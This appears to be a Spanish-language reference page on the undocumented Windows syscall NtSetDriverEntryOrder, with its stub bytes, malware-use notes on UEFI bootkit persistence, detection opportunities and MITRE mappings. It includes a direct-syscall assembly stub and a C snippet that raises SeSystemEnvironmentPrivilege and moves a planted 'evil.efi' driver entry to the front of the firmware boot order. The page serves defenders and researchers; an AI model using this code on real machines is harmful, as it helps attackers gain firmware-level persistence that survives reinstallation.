NtSetDriverEntryOrder

Prototipo

NTSTATUS NtSetDriverEntryOrder(
  PULONG Ids,
  ULONG  Count
);

Argumentos

IDs de syscalls por versión de Windows

Stub del syscall

4C 8B D1            mov r10, rcx
B8 9F 01 00 00      mov eax, 0x19F
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

Contraparte de escritura de NtQueryDriverEntryOrder. Junto con NtAddDriverEntry / NtModifyDriverEntry / NtDeleteDriverEntry forma la superficie programática completa para la variable NVRAM UEFI DriverOrder. Requiere SeSystemEnvironmentPrivilege. En hardware UEFI moderno con Secure Boot aplicándose, plantar una entrada Driver#### maliciosa que el firmware ejecute realmente todavía requiere que el propio binario EFI esté firmado por una clave en db — por lo que esta syscall es necesaria pero no suficiente para persistencia firmware. STATUS_NOT_IMPLEMENTED en sistemas legacy BIOS / CSM-only.

Uso común por malware

Paso de promoción de persistencia para amenazas UEFI: tras plantar una entrada Driver#### (vía NtAddDriverEntry) el atacante llama a NtSetDriverEntryOrder para asegurar que su entrada se ejecute *antes* del traspaso al cargador OS de confianza, dando a un driver UEFI malicioso la oportunidad de hookear servicios EFI de arranque críticos (LoadImage, StartImage, ExitBootServices) y sobrevivir en contexto kernel. La cadena de BlackLotus depende conceptualmente de este tipo de manipulación de orden, aunque su persistencia principal usó una ruta separada `revocations.efi`/MOK. CosmicStrand modificó el orden de boot firmware a nivel chip en vez de vía esta syscall; la ruta de syscall es más típica de implants de cadena de suministro distribuidos vía herramientas de actualización OEM.

Oportunidades de detección

Toda llamada exitosa es alta fidelidad. ETW Microsoft-Windows-Kernel-General dispara eventos de escritura de firmware. Comparar DriverOrder antes/después vía snapshots de baseline — los paneles Boot Integrity de Microsoft Defender for Endpoint alertan sobre cambios. El rastro de habilitación de privilegio (SeSystemEnvironmentPrivilege) es el punto de control defensivo más barato. El System Guard Secure Launch de Windows 11 24H2 / Server 2025 detecta cambios DriverOrder inesperados vía el log de arranque medido y reporta a través de Microsoft-Windows-Kernel-Boot.

Ejemplos de syscalls directos

; Direct syscall stub for NtSetDriverEntryOrder (SSN 0x19F, Win11 24H2)
NtSetDriverEntryOrder PROC
    mov  r10, rcx
    mov  eax, 19Fh
    syscall
    ret
NtSetDriverEntryOrder ENDP

// Educational. Real bootkits still need a signed (or signature-bypass) EFI binary.
// 1. attacker added Driver1234 via NtAddDriverEntry pointing at \EFI\evil.efi
// 2. query current order, prepend 0x1234, write it back.
BOOLEAN was;
RtlAdjustPrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE, TRUE, FALSE, &was);

ULONG existing[32];
ULONG count = ARRAYSIZE(existing);
if (!NT_SUCCESS(NtQueryDriverEntryOrder(existing, &count))) return -1;

ULONG reordered[33] = { 0x1234 };
RtlCopyMemory(&reordered[1], existing, count * sizeof(ULONG));

NTSTATUS s = NtSetDriverEntryOrder(reordered, count + 1);

Mapeos MITRE ATT&CK

• T1542.001Pre-OS Boot: System Firmwaremitre ↗
• T1542.003Pre-OS Boot: Bootkitmitre ↗
• T1547Boot or Logon Autostart Executionmitre ↗